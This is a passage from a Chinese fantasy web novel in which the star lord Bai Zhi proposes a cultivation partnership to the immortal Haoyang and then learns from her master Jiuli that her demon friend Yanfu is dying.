除了他有一个颇为古板的仙帝父亲,但白芷的身份摆在那里,上古神兽,身份尊贵的星君,又是神尊的徒弟,这事从客观外在的条件来看,昊阳仙君是不吃亏的。 白芷知道七彩雀说的都挺有道理的,但不论这些,她心里多少有着心虚。 昊阳仙君的年纪实在 是小了些。 虽说神仙动不动就是几千岁几万岁,但白芷跟在母神身边时,昊阳仙君还没生出来呢。 若真找上他,多少有些她老牛吃嫩草的嫌疑。 吃就吃,白芷也无所谓别人讲什么,但她不想以势压人。 双修这种事情讲究心甘情愿,虽说她确实是有这个修炼的需求,但也不会强求对方。毕竟结为道侣时,他们需要在三生石的见证下,在对方的识海里烙下同心印 若非自愿,同心印必然结不成。 “他怎么说?”白芷问。 “我还没跟他说呢。”七彩雀耸了耸肩,“是你找道侣又不是我找道侣。我只说你有事找他,但不确定是什么时候昊阳仙君刚历劫回来,冲关突破幻仙境,眼下大概会在仙邸修整一段时日,倒也不怕找不到他” 七彩雀做事向来心细,神仙修行,有时见影不见踪,先说了,也让别人有个心理准备,免得白芷要见人的时候又找不到人。 “哦” 既然如此,不如试试看,万一人家一口拒绝,她也不用在这里纠结了。 白芷点点头,“那就今日吧。” “一会你用你的叱魂法把我藏在你的羽翼里,带我去他的仙邸。” 这事没敲定前,还是先不要声张得好,若是让他上九重天来,就太招人耳目了。 “行。”七彩雀点头。 说走就走,白芷最后一口果子吃完,对七彩雀扬了扬下颌,“好了,你变吧。” 七彩雀坐着看白芷站起来,她一动不动,只一双眼睛从上到下打量着她:“你就这样过去?” “是啊。”白芷低头看了看身上的衣裙,是前几日织女们新送来九重天的七彩翎羽裙,用彩霞织就,裙摆上泛着淡淡五彩斑斓的白色,轻盈如羽,走动间有如月光撒在湖面上 这裙子她一眼就喜欢上了,所以今日换洗后便立马穿上了。 难道不好看? 看着七彩雀微微带着嫌弃的模样,白芷皱了皱眉,“这哪里不妥?” 裙子很美,穿在白芷身上,更美。 因是霞光织就,裙纱上泛着一层淡淡的光晕,在女子的动作下闪烁着微光,仿佛踩在银河之上 但是 毕竟是要见人,再怎么说,也不能披散着头发吧。 虽然这样披着,也挺好看的。但七彩雀摇了摇头,这于理不合。 白芷见七彩雀目光停留在自己的头顶,她一下子就反应过来了。 “对了,头发。”白芷从手腕处抽出一根丝带,递给七彩雀,“如今仙界时兴什么发型,你使个法术,帮我原样搞一个。” “”- 以七彩雀的功力,躲开仙兵的耳目,把白芷带到昊阳仙君的仙邸不算件难事。 守邸的仙将没有起疑,只是觉得有些奇怪,这灵环神雀居九重天,素来高傲,怎么最近三天两头往他们仙君府邸来 虽心里发着牢骚,话倒不敢多问一句,通报后恭恭敬敬把人送了进去。 进去后两位仙娥便将七彩雀引到昊阳仙君所在的云华宫。 云华宫外,昊阳仙君已在门口等待,看到七彩雀后,他的目光先往她身后望去,但后头除了行动间带出的几抹云雾,什么都没有。 七彩雀注意到他眸里一闪而过的失望,只是脸上不显,到了昊阳仙君面前,互相见了个礼,便被他请到屋里。 屋内,昊阳仙君拱手请七彩雀落座,七彩雀未开口,他也不问来意,举手投足间有礼有节,不卑不亢,让七彩雀对他又高看几分。 在昊阳仙君倒茶间隙,她又看着他的身影无声打量了一番。 不可否认,仙帝这儿子,确实教得很好。年纪轻轻已经破了幻仙境,想来她和白虎在他这个年纪的时候,还不知道偷偷跑到三界哪里逍遥惹事呢。 再说容貌和气度,也是翘楚中的翘楚,他长相不肖仙帝,虽七彩雀未曾见过他的生母,但透过他也可想而知,他的母亲应当也是位难得的美人。 他穿一袭青衣,墨发如瀑,用一根白玉簪束起,眉眼如画,看人时眼神里含一抹若有似无的笑意,温和得叫人如沐春风,但也因他举手投足间的淡然从容,又给人几分难以亲近触及之感。 待只剩二人,七彩雀指间一弹,叱魂术解,一道金光闪过,白芷郝然现于屋内。 七彩雀解术之时,昊阳仙君已经猜到她不是独行而来。但真看到白芷出现在眼前时,他还是显而易见愣了愣。 白虎星君归位一事,回来后听他的父君提过,他说白虎星君九死一生,好不容易捡回一条命,只是修为不比从前,好在有神尊庇佑,日日闭关看顾疗愈 不是没有想过上九重天拜见,只是,不知道该用什么样的理由。 就算去了,也不一定能求见到 一如从前,何时能见到她,于他,从来都是未知数 曾经以为再也见不到的人再次出现在眼前……因为太过惊讶,以致于眼前女子走到眼前,弯着眼角熟稔地喊他仙君时,昊阳才堪堪回过神。 好在女子跟他打了招呼后,又转身去同七彩雀说话,也许没有留意到他的失态。 “你的叱魂术这么多年都没有长进。”白芷微笑地跟昊阳仙君点头打了招呼后,忍不住回头,皱着眉对七彩雀不满地说道,“可快把我憋死了” “……” 有没有可能是因为你自己太弱了,所以连屏息这样的小事都觉得困难七彩雀翻了个白眼,不想戳穿她。 把她送到,她的任务就算完成,求爱现场,她也不好逗留,于是对着白芷抬了抬下颌,“在外面等你。” 白芷回以点头。 昊阳仙君平日里多给人印象温和,但实际上,他是仙帝之子,身份尊贵,修炼上也颇有天分,年纪轻轻修为已处仙界榜首位置,真正能与他常接触的人并不多。 说到底,温和好亲近或许只是别人的一种错觉。 但显然眼前的两个女子,丝毫不在意他好不好亲近。 明明是在他的屋子,但眼前两人却视若无物地吵着嘴,亲密而默契 他知道不该插话也不想插话。 他只是地安静地将目光落在其中一人的侧颜上。 万年未见,生死一线,她却一如从前那般,看不出什么变化。 双靥透透淡淡的光泽,瞳仁如水洗般纯澈,眼波流转间如九天星辰璀璨,带着一丝不谙世事的天真,灵气逼人 灵环神雀离去,昊阳仙君及时抽回视线。 他的脑袋有些乱,按理来说,他该说些什么恭贺她险里逃生,感谢她对三界作出的贡献云云。 但他又知道,她不会喜欢听这些。 最后他只是轻笑地对她说:“星君回来了。” 第90章 第90章你愿不愿意与我结为道侣…… 两人从前有过一些交集,在白芷眼里,两人还算熟悉。 白芷笑着点了点头,“听闻你下凡历劫归来后突破幻仙境了?” 这热乎消息也是白芷刚听来的,正好拿来见面寒暄用。 但说者无心听者有意,昊阳仙君似是有些惊讶她会主动提起凡间之事,他目光轻轻扫过白芷那双清澈无底坦荡荡的双眸,终究没有说什么,亦是浅笑点了点头。 “多谢星君关心。” “真羡慕你。”白芷耸了耸肩,转身落座到身侧的位置,“你也坐吧。” 昊阳仙君并未推脱,落坐到她对侧。 白芷将他的动作看在眼里,心下更是满意。 虽然这昊阳仙君性子端方拘束些,但也是毫不扭捏的性子。旁的仙人多少因她身份和从前一些行为,在她面前要不过于恭敬,要不就退避三舍,惹得她在他们面前也不自在,所以宁愿四海八荒去寻乐子玩…… 落坐后,昊阳仙君提壶为白芷斟了一杯茶,“星君找我是有什么吩咐吗?” 前几日,灵环神雀上门已经让他有些意外了。 只是见面时灵环神雀什么都没说,只问他近来会不会离开仙宫。 他与灵环神雀平日并无交集…… 但细想也不难猜,灵环神雀常居九重天,又与白虎星君交情颇深,所以他隐约猜到,此举或许与她有关。 意识到是她要找他,虽只是猜测,他心头还是忍不住紧了紧。 从父君和诸夏那里知道,她的状况不是很好。 但眼下见到她,她 仍如从前那般,眼眸亮得惊人,张扬明媚,仿佛永远有使不完的精力和好奇心…… 若不是有意留心,他很难注意到,其实她身上的灵力很是稀薄。 元神散了重聚,不亚于逆天改命啊…… 怎么可能不留痕迹呢…… 昊阳仙君感觉自己的心仿佛被针扎着,密密地透出疼痛感。 他曾经无比谴责自己的无能为力,所以才不顾父君阻拦,坚持要去历那凶狠的十世劫…… 听到昊阳仙君直接问她来意,白芷原本还欲寒暄两句的话语从舌尖滑落,又咽了回去。 果然是她欣赏的人,有话直说的性子她也很满意。 白芷拿起茶杯抿了一口茶,清了清嗓子,“想必你也有听说我的事情……” 她说话时,昊阳仙君才把目光落到她的脸上。 她性子洒脱纯净,向来想做什么就做什么,想说什么就说什么,他难得在她脸上见到欲言又止的神情 又因为是难得见,所以他心底又不禁在想,能让白芷星君都难以启齿的事情,到底是多难办棘手。 但不管多难办到,他知道只要她开口,就算让他去刀山火海,他也会一口应下的。 只是,他怎么都没料到,那女子吞吞吐吐,落下一句:你愿不愿意做我的道侣啊? 他有些怀疑此刻发生的一切,都是在做梦,可这是他做梦都不敢想到的言辞。 心头那股难以抑制的波涛汹涌,那种因不可置信而带来的窒息感又太过清晰,又在告诉他这明显不是梦境 白芷素来不懂拐弯抹角,想了半天,叹了口气,把手上的茶杯放下。 活了这么多年,还是第一次做这种事情,白芷显得不那么熟练,语气便也不如平日那样坦荡,“情况就是这样的,我来就是想问问,你愿不愿意与我结为道侣?” “虽然我年纪比你大些,如今修为恐怕也比你低不少”见眼前人向来温稳的眼眸有如裂缝松动,白芷不由得咽了咽口水。 来时为了摆脱老牛吃嫩草的嫌疑,她已经和七彩雀提前想好与她结作道侣的诸多好处。 “年纪大有年纪大的好处,凡间有句话,叫女大三抱金砖,虽说我如今的修为与你不匹配,但从前我毕竟已登神仙境,可以为你避开修炼道上许多坑而且,经年累月,我这里也积攒了不少东西,都是千年难得一遇的珍宝,与我结为道侣后,这些东西你皆可随意取用” 白芷自顾自地说了许多好处,但见对面的昊阳仙君依然不点头,甚至表情失了平常惯有的温和,多了几丝她看不懂的情绪 她把那些看不懂的情绪解读为,她的条件还不够让人动心…… 于是,她继续说道:“当然,你放心,若是以后你有了心仪的仙子,要与我解除道侣关系,我是丝毫不会有一丝异议的。不过” 白芷觉得丑话还是要说在前头,她虽然心宽,凡事不爱计较,但独占欲还是蛮强的。 她看上的东西,若是被别人沾染一分,那她宁愿不要。 “不过,结为道侣期间,你要洁身自好,不可沾花惹草。” 终于把准备的话说完,白芷把剩下的半杯茶水一股脑地喝完,然后眼睛眨也不眨地盯着昊阳仙君,等着他的回复。 没想到一贯不扭捏的人却始终不给一句答复,白芷忍不住有些急了。 行就行,不行就不行嘛,不行她就再找找人选 “如果你不愿” “我愿意。” 眼前女子娓娓道来与她结为道侣的万般好处,语调柔软清和,但昊阳仙君根本没听清楚她在说什么。 他只是透过她的神态和声音,在确认眼前的一切都是真的。 思绪杂乱,但所有杂乱的思绪里皆有一道统一的声音:无论真假,先应了再说。 他的神态和语气如此坚定,白芷一时有些讶住。 见眼前人微微惊吓的模样,昊阳仙君垂了垂眸,神情微敛,将瞳仁里那些破开迷障涌出来的暗潮掩下后才抬头。 “我是说,星君有大恩德于天下,只要能助星君修炼,我愿意助一臂之力。” 见昊阳仙君神情又恢复往常的温和,嘴角也微微扬着,白芷瞪得圆溜的眼角终于弯了下来,她站起来,走到昊阳仙君前面,用手拍了拍他的肩,眼角眉梢笑意横飞:“我就知道,找你准没错,你放心,你父君那关,我去说” 仙帝那关,可能会费些周折。不过可能也没有那么麻烦,若是师尊都点头同意,仙帝那里自然也就好说了。 昊阳仙君侧过脸,目光不敢在肩上那双莹白修长的手指停留多停留,待她收回手,他才站起来。 “不必。” 昊阳仙君一站起来,白芷的视线只得跟着往上移。 “我父君那里,我亲自去说,星君不必担忧。”昊阳仙君凝眸看着白芷,“只是,我有一问题想问问星君。” 昊阳仙君这么干脆,白芷心情愉快,美目直盯着他眼底,爽快地回道:“你说。” 她眼眸清澈,看人时仿佛将对方整个装进她的眼眸里,很容易让人错觉自己是她心尖尖上的人。 “神尊知道吗?” 神尊同意吗? 结为道侣首要是结契双方的意愿,既然是她找上他的,那她的意愿自然无需怀疑。 但想到她的师尊,那位主天地万物之神 昊阳仙君无端想起他在人间历劫的最后一世 父君行事小心谨慎,凡事都要未雨绸缪,他回来后,他便让司命来了一趟。 关于他在人间的最后一世,那个他爱慕过的女子,以及得到她的那个男人来龙去脉,因缘纠葛,他都知道了 父君可能是怕他以后不小心犯了忌讳,专门让司命来提醒他 但他们不知,其实渡完劫,元神醒了之后,他已经知道,凡间的那位宋承云,是神尊的化身。 那个时候他已经隐约猜到,那位女子,或许就是她 直到司命的话应验了他的猜测。 父君说,凡间之事只是浮生一梦。 回来后,他曾花很多时间想过,若是轮回前,他不曾对白虎星君有过别的心思,那回来后,他或许能不囿于凡间的那点滴缘分,将一切当作如梦幻象。 但知道她就是白芷后……那些相逢和短暂的交集,足够让他心颤到晕眩…… 神尊呢? 他知道大抵是他想多了。 他习惯性将凡间对宋承云的敌意落到神尊身上。 但他可 是神尊啊,是白芷的师尊,他只是为了救她。 “师尊?”白芷嘴角地笑意落下一些,她是想先找好人选再去禀报师尊的,所以,师尊当然还不清楚 不过于修炼有益的事,想来师尊不会不同意的。 白芷理解昊阳仙君的顾虑,仙帝那关要过前,必得她先过了她师尊那关,这样他在仙帝面前才好开口。 白芷没有隐瞒:“我师尊还不知。不过你放心,待我回去后,便向师尊禀报。一有消息,我再来告诉你,可好?” 看着白芷笃定的模样,昊阳仙君心里那些莫名的不安稍稍抚平了些,温和的眉眼里也多了几丝笑意,点点头,“好,我等你。” 这话一落下,两人不约而同都静止了一瞬,昊阳仙君指尖更是微不可见地蜷了蜷 瞥到眼前人红得滴血的耳尖,白芷忽地有些尴尬,脊背不自然地挺得更直了些。 她嗯了一声,跟刚刚同七彩雀道别时一样,朝他扬了扬下颌,“那我就先回去了。” 其实他府里保存许多她可能会喜欢的东西,只是若此刻提起又显得有些冒昧昊阳仙君也不知道该怎么多留她一会,所以只能点头。 白芷说完,指间便点了点,很快,门外传来两声敲门声,听到应声,七彩雀推门走了进来。 进来后,她朝昊阳仙君颔了颔首,然后转头问白芷:“说完了?” 白芷点头,“嗯,回去吧。” 昊阳仙君目送着她们离开,目光流连在那条系在婀娜腰间的流苏丝带,随着她的走动,那根流苏丝带往后飘起,如同起舞的彩蝶。 连风都偏爱她。【你现在阅读的是 】 90-100 第91章 第91章但有事他是真上啊 白芷是说干就干的性子,回了九重天后,也不回临云水榭,直接让七彩雀落到凌霄殿。 白芷并不觉得找道侣是什么大事,也不觉得九黎会在意这样的琐事。 但九黎毕竟是她的师尊,她的命又是他捡回来的,也不能他在意她就什么都不交待一声。况且,他不点头的话,仙帝那边也不太好办。 当然,白芷也知道她此举对仙帝来说,难免有种以势压人的嫌疑,但眼下她也不想考虑那么多。 反正道侣可以结那便也可以解,待她修炼步入正途,那时候若是仙帝或昊阳仙君有别的打算,再解除道侣关系也很简单。终归仙人寿长,几百年几千年实在也不算什么。 所以她觉得九黎定然会同意,有了道侣,修炼一事就不用麻烦他时时看顾,他也好省心一些。 因此,待七彩雀把她送到凌霄殿门外,白芷并没让她先回去,反而让她在门口小等她一会。 七彩雀闻言,耸了耸肩,不置可否。 交待完七彩雀别走,白芷才提起裙摆,转身一步一步踏上威严高耸的殿前阶梯 七彩雀全程目视着她,直到她的身影成小小一团停立在凌霄殿门前。她听见她清清亮亮唤神尊的声音,也不知道里面有没有回应,总之女子声音落下时,手已经搭在殿门上,推门走了进去。 熟稔地仿佛回她自己的地盘一样 与白芷同居九重天多年,她最佩服白芷在神尊面前这幅随心随性的模样。 虽然她自己也是从小就跟在神尊身边,可神尊是父神与母神之子,他出生便是天地万物的主宰。 白芷怎么敢,怎么能做到,只把他当做一位普通的师友呢? 当然,她一直都是这样,不止是对神尊。 七彩雀很好奇,如果是她,能不能推开那扇门? 白芷确实没想那么多,无论从前还是现在,师徒前还是师徒后,她对九黎一直都很敬佩。 九黎还不是她师尊时就已经很厉害了,即使是战神桑尤,恐怕也难以与他比肩。 但那时白芷居住在母神的神邸,与九黎的交集不算很多。 虽交集不多,传闻却听了许多。 但说实话,那时候白芷更喜欢桑尤 是慕强的那种喜欢。 她白虎自诩是四星君里头最威武善战的那一位,所以对同样有着战神称号的桑尤当然更青睐几分。 闲时无趣时,她总喜欢溜到桑尤练兵的九州神殿看他练兵,偶尔也求母神让她跟着桑尤去三界巡视定安。 一开始没留意,那时候有桑尤在的地方,往往九黎也在。 长年累月,照面打得多了,不知不觉中也熟悉一些。 即便是清冷如雪的神君九黎,遇到白芷时也会浅浅颔个首。 不知是不是白芷性子粗条,总之她一直不觉得九黎难以相处。 再后来几次被九黎救于险境之后,白芷心底就已经把他认定为朋友了。 虽然这个朋友清冷些,也不爱说话,但有事他是真上啊- 白芷把手搭在凌霄殿门上,结界上没有一丝排斥气息,于是,她又带了两分力,将门推开。 进去后,她往兰因殿相反的方向走,穿过正殿,绕过几道游廊,停在幽篁亭前。 除了她这种静不下来的神仙,其实,其他神仙的日子都很是单调,各司其职之外,除了修炼就是修炼,进阶是他们最大的乐趣。 但修为已经到了极致高度的九黎,白芷实在不理解,他的日子为什么也要过得这般单调和无趣。 当然,她一定程度也能理解,因为他是神。 他是三界最至高无上的主宰,他的一言一行,都备受三界瞩目,所以,他大抵不能像她这样随心所欲 但,虽然不能随心所欲,白芷觉得,合理范围想做的事情,还是可以尝试去做的嘛 只要不会引发三界动荡,不伤天害理,那为什么不能做? 她就是觉得他的日子过得太冷清,太无趣了 当然,这话她不敢在九黎面前说。 反正他单调无趣的日子之余,于她也有些好处。每次只要她想找他,基本都能找得到。 九重天上,除了兰因殿,九黎最经常呆的地方,就是他的幽篁亭。 白芷的手还没碰触到那扇结界,就听到里头传来一声清凌悦耳的声音:“进来吧。” 对于她才离开不久便又返回的行径,九黎好似丝毫不觉意外。 或许说,有点像是纵容。 推开门,眼前场景焕然变化。 幽篁亭,顾名思义,亭子飘立于翻涌的云海里,被幽深而茂密的竹林所包围。 亭顶是青白色的瓦片,因九黎常呆在此处,灵力充沛,瓦片的缝隙间竟天生天长了几株碧绿的不知名兰草,在云海微风中轻轻摇曳。 白芷走到亭边,扶着雕花栏杆向下望去。云深不见底,茫茫云海在脚下翻涌,偶尔有几只仙鹤从云中掠过,发出清亮的鸣叫 亭子正中,她的师尊坐在白玉案几后,案几上,一卷竹简平铺展开。 那竹简泛着温润的玉光,流动的金色符文跃动流转,当他修长的手指翻动竹简时,指尖所过之处,金色符文跳跃起来,化作点点金光,萦绕在他周身。 连看书都这般叫人赏心悦目,白芷站在通往亭子上的最后一级云梯上,目光呆呆地看着。 直到案几前的人放下竹简,如寒潭清冷似的眸色略过她…… 虽无言,但白芷却看懂里面的含义:怎么又来? “” 若是旁人,或许会被这样疏离而冷淡的神色慑退,但明显,那其中不包括白芷。 也不知道她是天生木讷,还是什么别的,总之,她丝毫没有打扰别人清休的怯意,脸上立马堆起了满满的笑容,一双圆溜溜的灵动眸子也直勾勾地回望他,脸上两个浅浅的梨涡若隐若现。 “师尊,你在看书?”虽原身是虎兽,白芷的声音却清甜柔软。 说话时,她伸手拨开在她身侧打转的云朵,足尖轻点,提着裙子往亭子内走近,像只翩跹的蝶,落在男子右手边。 她微微屈身,探头去看桌上的竹简,看到简上跳跃的金光符文,觉得好玩,伸出指尖去弹它。 只是那些金光符文看似虚幻如轻烟,但一触碰,指尖却突然一阵灼热。 “小心。”九黎在她伸手时便出言阻止,只是还是没来得及制止。 “痛。”白芷惊呼,急忙欲将手收回,但这次,九黎的动作比她更快。 指尖如沁冰泉,灼热渐渐消散 灼烫的红肿消于无形后,九黎拇指轻抬,与掌心上的几根莹白手指分出一段明显的距离。 但,手掌并没有收回。 不知是不是被突然的意外惊吓到,白芷全程愣愣地由着指尖被牵 走,灼烫被冷却,她好似都没有反应过来。 远远看着,两人的衣袖缠绵翻叠,衣袖上,两只手掌紧紧相牵 “好了。”九黎的声音如冰泉击石,唤回眼前这位略微失神的徒弟。 “啊,哦哦哦。”白芷回神,急忙将手从那双冰凉的掌心上收走,“徒儿又唐突了,请师尊恕罪。” 九黎确实是在看书,却也是同时在随手在修炼法术。 竹简上的金光符文,是与三味真火同宗同源的明炴离火。好在白芷本就是纯阳之体,又有九黎在旁侧及时用冰魄帮她镇热,她才没有被灼伤得太厉害。 白芷觉得有些奇怪,师尊修水冰双系,按理说,明炴离火这类法术,应当是像她这样的纯阳之体,或修火木系的比较适用 不过她也没有太多想,师尊天生神躯,本来就与常人不同,或许他也适合练火木系法术 为了证明她不是无事来这里捣乱晃悠的,白芷绕回桌案前,清了清嗓子,准备同师尊提出她的“修行大计”。 “师尊,我来是” “先看看这个吧。”九黎本来也是要叫她过来的,正好她来,他随手丢了一片幻影石给她。 白芷下意识双手接过。 幻影石她当然认识,虽不如留音石方便,但好处之一,便是可以记录当下的画面。 她从前也有几块,是朱雀给她的。朱雀不比她能随意在外游荡,所以她便答应她,把在三界看到的稀奇或美妙的场景记录在幻影石上带回来给她看 想远了,白芷看着手心上闪着黑紫色光芒的幻影石,有些诧异:“魔界送来的?” 九黎看了她一眼,点头,“打开看看。” 闻言,白芷将幻影石往虚空一扔,指尖注入一丝灵力,瞬间,眼前出现一个熟悉的场景。紧接着,一个让白芷讨厌得咬牙切齿的人影也出现在眼前。 “后卿!”白芷原本灵气明媚的眉眼凝上一层寒霜。 若不是他引桑尤堕魔,用他堕魔时外泄的灵力开启皿灵阵,造成生灵涂炭,才让她不得不以身祭阵 他居然还敢现身? 白芷恨得咬牙,后悔当时下手太轻,没有一掌拍死他,如今看他还人模人样,而她修为尽失,元神不稳 眼不见为净。 白芷袖摆一挥欲关闭幻影石,一刻也不想看到那张脸。 不过,九黎制止了她。 “先听听吧。”九黎眉间似有松解,语气清淡,示意白芷继续看。 白芷只好收了拳,深深吸了一口气。 她瞪得圆溜溜的眼睛如有实质地盯着幻影石上的后卿,慢慢地,目光由愤恨变成不解,再到担忧 第92章 第92章他们似乎交情不浅?…… 记不得是多久以前了,白芷在南荒游玩时结交过一魔界朋友。后来因故护送那朋友回魔界后因新奇她在魔界逗留了一段时间,也是在那时候,结识了当时还只是旁系魔子的后卿。 后卿此人,自来心高气傲,知道她是仙界之人后,从来不掩饰对她身份的排斥和防备。只是因为她救他妹妹于险境,所以两人但也是相安无事。 但他排不排斥,对于当时的白芷来说,并没什么所谓。 白芷那时刚好觉得魔界好玩,又新结识到朋友,这才在魔界多留了一段时间。 后来再回魔界镇魔时,后卿并不是她的对手。但考虑到他是她友人爱重的哥哥,她终究没有下死手,没曾想给自己挖了那么大个坑 但如今幻影石上的后卿显然,与她记忆里的后卿有些差别。 即便刀锋逼他于颈侧,她也不曾见过他如此狼狈示弱的模样。 前段无非是表忠心,说他当初不该引神堕魔云云 白芷深知魔界野心症结,后卿这番话,无论真心与否,都已经没什么意义。 有些事情,只能从根上解决 她曾经在魔界那位好友的嘴里了解到真实的魔界。并不是所有魔都天生狡诈好战,更多的魔只是在底层苦苦挣扎,渴求有一丝生存空间 但仙魔积怨已久,有些事情难以瞬息改变,她答应过那位朋友,她会尽所能做些事情 她确实也在做,但她没想到,后来会发生那么多意外 幻影石中,后卿忽然跪下 这下,白芷是真的震惊了。 若只是演戏,后卿没必要做到这一步吧。 “不管神尊相不相信,后卿是真心悔过如今,至亲妹妹生命垂危,后卿斗胆请神尊垂怜,赐烬魔石,救我妹妹一命” 这最后一句话信息量就太大了。 无论是至亲妹妹生命垂危,还是求烬魔石。 若白芷没记错,后卿的至亲妹妹,便是她的好友,颜芙。 镇魔前她们便有千年未见了 她记得最后一次见面,她们北海珍珠湖钓鱼,那时她说她要去个地方,可能有好些时间不能找她。 白芷也常常到处跑,所以也没多想颜芙话意,正巧鱼儿上钩,她倒也忘记问她要去哪。 白芷没料想,再次听到她的消息时,是她生命垂危的消息。 “怎么会?”白芷喃喃道。 九黎不着痕迹地瞥了女子一眼,他不知,他们竟是老相识。 “求神尊,赐烬魔石救我妹妹。无论将来如何,后卿发誓,魔界永世俯首,再不敢有不臣之心。”或许是后卿也没有底气能求到所求之物,黔驴技穷,又因救命心切,最后,他从袖袋掏出一盏小巧的,灯芯几乎要燃尽一般的黯淡小油灯。 白芷的目光在落到那盏油灯时紧了紧。 此刻,她才百分百相信,颜芙真的已经生命垂危。 若她没看错,后卿手上的那盏灯,名唤九幽冥灯。 这盏灯,是她送给颜芙的。 那时她在魔界游玩的时间有些长了,腰间留音石上七彩雀传来的消息已经闪了好几日。白芷知道,再不回去,恐怕过不了师尊那关。 颜芙送她出魔界时,送了好些她在魔界看上的东西,连她身上常年佩戴的噬心魔铃都解下送她。 她与颜芙便结缘于此铃,说来话长,总之,此铃是颜芙身上不多有的护身之物,所以白芷并未收下。 :. 反之,她在自己的乾坤袋里搜罗了一番,送了她自认为颜芙会喜欢的一样东西给她。 那件东西,便是九幽冥灯。 这盏灯是冥界之灯,以血认主,认主后人死灯灭。 颜芙虽生于常年灰暗的魔界,但她不喜欢黑暗,甚至可以说是畏惧黑暗,所以白芷送她这盏永燃不灭的灯。 可现在,这盏灯已经快要寂灭了。 “白芷。”幻影石中,后卿拿出那盏灯后,眼神似乎透过幻影石抓到白芷位置所在,他神色沉重而认真,“这盏灯,你应该认识吧?” “阿芙她真的快不行了。” 若说此前白芷还在怀疑他故意示弱,以退为进,但此刻,后卿眼里滑过的那抹悲伤,白芷实在看不出一丝伪装。 幻影石的黑紫色气息慢慢黯淡,后卿的面孔渐渐消散,而白芷的目光却还怔怔地盯着那块幻影石。 九黎全程的目光都落在她身上,看着她出乎 意料的反应,若有所思。 其实,若不是幻影石中出现了那盏九幽冥灯,他没有想过要让她看这段幻影。 九幽冥灯,虽不是什么强大的法器,不过倒也算得上一件有趣的物什,是他很久很久之前,不知在哪处秘境得来,之后又不知丢在凌霄殿里的哪个角落积灰。 后来白芷不知道在哪里寻到,新奇地提到他面前,见她喜欢,东西自然就给了她。 这样不起眼的东西,原本不该令他有那么深的印象。 但如今再想起,那时的场景清晰,历历在目。 那日正值仙界盛宴,她与他一同出席,难得着一身庄重的碧落流云裙,她本就生得灵美,而衣裙上霞光勾勒的星辰与花影愈发映衬出她如玉的好神采。 宴会上,即使她站在他身侧,也很难略去周围那些惊艳的目光。 她性子跳脱,不喜欢那样庄重的场合。但即使不自在,她总能找到自己的乐趣。 一杯一杯的玉液琼浆落肚,莹白小脸很快晕上两朵粉红。 越来越多的目光往上首来,半醉的她竟也能发现。 天性纯真奈何顽皮,好在还知道认主,半醉不醉时偷偷在桌底拉他的袖子,求他将她带离宴会。 回到九重天后,小徒弟不愿回她的临云水榭,硬是亦步亦趋跟在他身后。 无法,他只能任由她去。 那盏九幽冥灯,便是她半醉时在凌霄殿搜罗出来的。 那是他也坐在今日的座位上。 竹香宁静,他惯常呆在这里。 而那日,她一手提着灯,一手提起裙摆,赤着脚,轻巧地踩着云朵从阶梯下跑上来。碧落流云裙的裙摆在她身后飞扬,洒下一段晶莹的光点- 后卿的话点到为止,但不难听出,他们远在千年仙魔大战前就认识,且似乎,交情不浅。 九黎坐在位上,骨节分明的手指无意识地摩挲着手里的青瓷盏沿。 他好似,从来不曾真正了解自己这位小徒弟。 三界还算太平,所以,他从来不曾拘着她,想去哪里就去哪里,只要别受伤,只要知道回来 但他似乎忽略了一件事。 在她离开九重天的那些日子,发生的每一件事,都会成为她的回忆,她的经历。 而这些,对他来说,都是空白。 在四海八荒的某一个角落,都可能有她甚是在意的人或物 意识到这一点,手里的茶盏突然震起细微的波纹。 这是抽魂之后的后遗症,近来,偶有这种不受控的情形。 她的元神迟迟无法聚合,所以,残留在她元神内的,属于他的残魄,他始终没有收回。 九黎看着白芷向他走近,与他一个桌案之隔。 不知道是不是他的错觉,他觉得她脸色比来时苍白了几分。 早知道就不让她看了。 长长的裙摆拖散在云间,白芷心里想着事,走近九黎的脚步太过仓促,以致于不慎被自己的裙摆绊了一下。 好在桌案伸手可触,许久不用法术,被绊到的那一瞬,她第一反应是用手撑住桌案保持平衡。 顾不上失不失态,白芷站稳后,目光落向座上之人。 显然当下不是纠结阿芙生命垂危原因细节的时候,而是她要如何救她? 若如后卿所说,只有烬魔石能救她 烬魔石是什么东西,她哪里不知道。连后卿都要这般低声下气相求的东西,怎么可能是容易求得的东西。 “师尊,我” 白芷此刻的纠结几乎上升到极致。 师尊不仅是她的师尊,他是三界的神尊,是万物之神,是这世间安稳的基石,谁都可以出事,唯独他,一丝差错都会让众生难以承担。 所以她才急着寻找道侣,不想因为自己而牵绊住师尊。 但现在,她又有事要来求他。 烬魔石,从前叫释魔石,是开天辟地后天生天养的神物,也是魔界圣物。只是前任魔尊妄用释魔石之神力,创造了许多魔儡,危害三界,后来父神亲率众神,收伏了数以万计的魔儡,同时,也收回这块烬魔石。 烬魔石既是天生天养,本质上就没有好坏,只看用他之人心存善念或恶念。 父神并不欲将其毁之,只是那块烬魔石被前任魔尊祭以太多魔灵,以至于魔性难抑,因此,父神把这块烬魔石带到幽冥界,埋于血海真水之下。污血般的幽冥血海,至浊至清,能吞噬一切生灵,它是邪秽之水,清污秽之物。 白芷原本是想跪下的,但不知为何突然想到之前在兰因殿内修炼时,九黎似乎对她下跪的动作颇为不悦…… 第93章 第93章他不喜这般被拿捏的感觉…… 徒弟跪师傅天经地义,更何况之前她的确也做错事,白芷不知道师尊不悦些什么。 不过兽性最为灵敏,终归她知道此刻不能触怒他,所以她还是没有下跪,只是手越发着急绞着腰间的紫色流苏,圆溜溜的杏眼漾出淡淡水光。 “师尊,后卿说的话应是可信的,他的确有一同父异母的胞妹,名唤颜芙。”白芷看见九黎抬眸,目光依然如寒潭清凌,仿佛世间无事能让这波寒潭起波,她咽了咽口水,继续解释,“不知师尊可记得后卿手里那盏九幽冥灯,那的确是我送予阿芙的,也亲眼看着阿芙向灯里滴入她的指尖血,那灯如今摇摇欲熄” 说道这里,杏眼里的水光更甚,虽没有滴下来,但差不离了。 那水光太过晃眼,目光一瞥而过,九黎忽然起身。 “你想救她?” 可能有些强人所难,但确实想,白芷点头。 “你可知道烬魔石如今在何处?”九黎把虚空上幻影石收到手里,拇指轻按,神思似乎有些发散,只是很快目光又落到那张发白的小脸上。 白芷咬了咬唇,说:“知道。” 她还知道,血海真水吞噬万物。 吞噬,亦为可进而不可出。 世间万物,自有一套运行法则,三界各司其职,即使九黎是神尊,也轻易不会去阻乱各界秩序。 父神企图让血海真水洗净烬魔石的魔性,但父神虽不毁烬魔石,也没有让烬魔石重新现世的打算 “你知道?”九黎似乎觉得疑惑,“那为什么?” 